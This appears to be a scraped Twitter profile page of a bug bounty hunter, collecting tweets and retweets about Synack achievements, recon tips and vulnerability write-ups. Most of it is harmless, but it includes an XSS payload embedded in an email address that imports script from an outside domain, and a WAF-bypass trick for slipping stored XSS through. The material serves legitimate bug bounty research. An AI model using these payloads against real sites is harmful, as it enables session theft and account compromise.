luffydragneel

A full-time hacker + otaku. Level 5 SRT member. For any freelance pentest projects or invite to a private BB program, feel free to DM here :)

[luffydragneel @Hackers_Guild]

Best month for me in bug bounties till date. Finally level 5 on Synack and made good amount of bounty in this final month of 2k21. Ranked 61 all across globe in this past year. Happy me. Let's keep the momentum going. 😇 @SynackRedTeam #bugbounty

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Use NextJS? Recon Tip by renniepak

A quick way to find "all" paths for Next.js websites:
DevTools->Console

console.log(__BUILD_MANIFEST.sortedPages)

javascript​:console.log(__BUILD_MANIFEST.sortedPages.join('\n'));

#infosec #cybersec #bugbountytips

[luffydragneel @Hackers_Guild]

I have finally been recognized as an SRT legend. 😎Check my Acropolis profile here https://t.co/f2lbUclbKz. Thanks @SynackRedTeam for the amazing opportunity. #bugbounty

[zseano @zseano]

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).

"><img/src/onerror=import('//domain/')>"@yourdomain
.com

cc @BRuteLogic - https://t.co/HlFDweFQx6

[Critical Thinking - Bug Bounty Podcast @ctbbpodcast]

Mad props to @rafabyte_'s debut security research on "Exploiting HTTP Parsers Inconsistencies" explaining how to bypass Nginx ACL Rules with Node.js, Flask and Spring Boot.

Here's a 4 step guide based on his 5 months of research on how to exploit this.

[Kuldeep Pandya @kuldeepdotexe]

I recently came across a weird case of cache deception vulnerability on a @SynackRedTeam target. I'm very excited to share the details with y'all.

Also, I'm trying a new blog format this time. I hope you folks like it.

Here you go: https://t.co/Otzav37KhQ

[Soroush Dalili @irsdl]

The new Cookieless variant (CVE-2023-36560) has been added to https://t.co/tCulyANgJk

@mwulftange 😇

[Jayesh Madnani @Jayesh25]

Bug Bounty Tips: 🐛🌟 Want to excel in bug bounty hunting? Don't limit yourself to one program or asset. What if I told you that monitoring new assets and programs from various sources can increase your chances of success? 🚀

Here's a valuable list of sources to track all bug bounty platforms and assets:

1️⃣ Chaos Bug Bounty List - Explore public programs and self-hosted bug bounty program assets: 🔗 https://t.co/3d3Jp6xJly

2️⃣ Bug Bounty Targets Data - Access programs and assets from bugcrowd, hackerone, hackenproof, intigriti, yeswehack, and more: 🔗 https://t.co/FXXTCIqcQ7

3️⃣ bbscope - Utilize this awesome CLI tool to collect information about private program targets using your API: 🔗 https://t.co/dlNLP5jX6y

What can you do with this data? Here are some ideas:

1️⃣ Monitor these sources for new scope updates and receive notifications on Discord, Slack, or via email.
2️⃣ Establish an automated process to handle new targets, such as collecting subdomains and performing basic checks.
3️⃣ Identify interesting assets and start manual hunting to increase your chances of discovering bugs and reducing duplicates. 🕵️‍♂️

Follow these accounts for real-time scope updates:

1️⃣ h1disclosed - Twitter: 🔗 https://t.co/FPq4HhrosB - Get notifications on program launches and disclosed reports.

2️⃣ bbradar - Track all bug bounty programs at: 🔗 https://t.co/YfbtOjUVN5

3️⃣ inbbupdates - Twitter: 🔗 https://t.co/APqAlptVjJ - Receive notifications on scope changes.

This dataset offers endless possibilities. Don't miss out on this opportunity, as many are already harnessing its potential. Elevate your bug bounty game today! 💪🔒 #hackerone #bugcrowd #cybersecurity #bugbountytips #securitytips #bounty #bounties #follow #motivation 🚀💡

[Jayesh Madnani @Jayesh25]

Show & Tell: Exploiting an Unusual XXE Vulnerability on a Target App 🕵️‍♂️💻

1/ Often overlooked, XXE vulnerabilities can hide in plain sight, especially in apps seemingly devoid of XML calls to the backend. In this thread, I'll walk you through how I discovered and exploited such an issue in one of my pentest engagements.

[Prial @0xPrial]

Zendesk Takeover for fun and profit 😇
https://t.co/TYnDeBy88m

#BugBounty
#BugBountyTips
#TogetherWeHitHarder

[d3d aka dead (dead, мёртв, 死了) @deadvolvo]

#0day #research #bugbounty #informationsecurity https://t.co/hMzpulkHUW

How I *AM* able to abuse Akamai to abuse F5, to abuse all of their customers. This is a bug chain that doesn't require a bug on the target domain to exploit them. But what do I know, I am a freelance nobody.

[Manas @ManasH4rsh]

A very good writeup:-

https://t.co/MJuE0bzhVG

[luffydragneel @Hackers_Guild]

@asad0x01 @monkehack @kingcoolvikas @jayesh25 Working now 😊

[luffydragneel @Hackers_Guild]

@monkehack @kingcoolvikas @jayesh25 Is the link working for you?

[luffydragneel @Hackers_Guild]

@jayesh25 @pikaso_me screenshot this

[Jayesh Madnani @Jayesh25]

🕵️‍♂️Here's another secret no one will tell you about: A Simple WAF Bypass for Stored XSS that has earned me $$$$💰 so far!

Stored XSS issues can fetch you rewards ranging from $500 to $7500, depending on the program.

WAFs can pose significant challenges when hunting for Stored XSS vulnerabilities, but this simple trick can help you bypass them. By adding 'Content-Encoding: any_random_text' to the request header, you can deceive some WAFs, allowing your payload to slip through undetected. Enjoy the hunt! #bugbounty #securityTips #ethicalhacking #WAFBypass #hackerOne #bugcrowd #bugbountytips

[luffydragneel @Hackers_Guild]

Very nice 🙏

[Tushar Verma 🇮🇳 @e11i0t_4lders0n]

This post is for all beginners who are stuck after solving @PortSwigger Academy. So i have just created a list (@hackthebox_eu )which u can refer & follow after you are done with your basics from @PortSwigger & @PentesterLab .

https://t.co/cpbRUC9ZYV

[🇷🇴 cristi @CristiVlad25]

You must sleep with this under your pillow to become good at web security:

https://t.co/z0ujJLvLoF

[Debangshu 🇮🇳🥷 @ThisIsDK999]

https://t.co/A3OdrTFnq2: the intentionally open redirect

#bugbountytip

[luffydragneel @Hackers_Guild]

@therceman Can you explain how it will help? I don't think it will help as the waf will still block it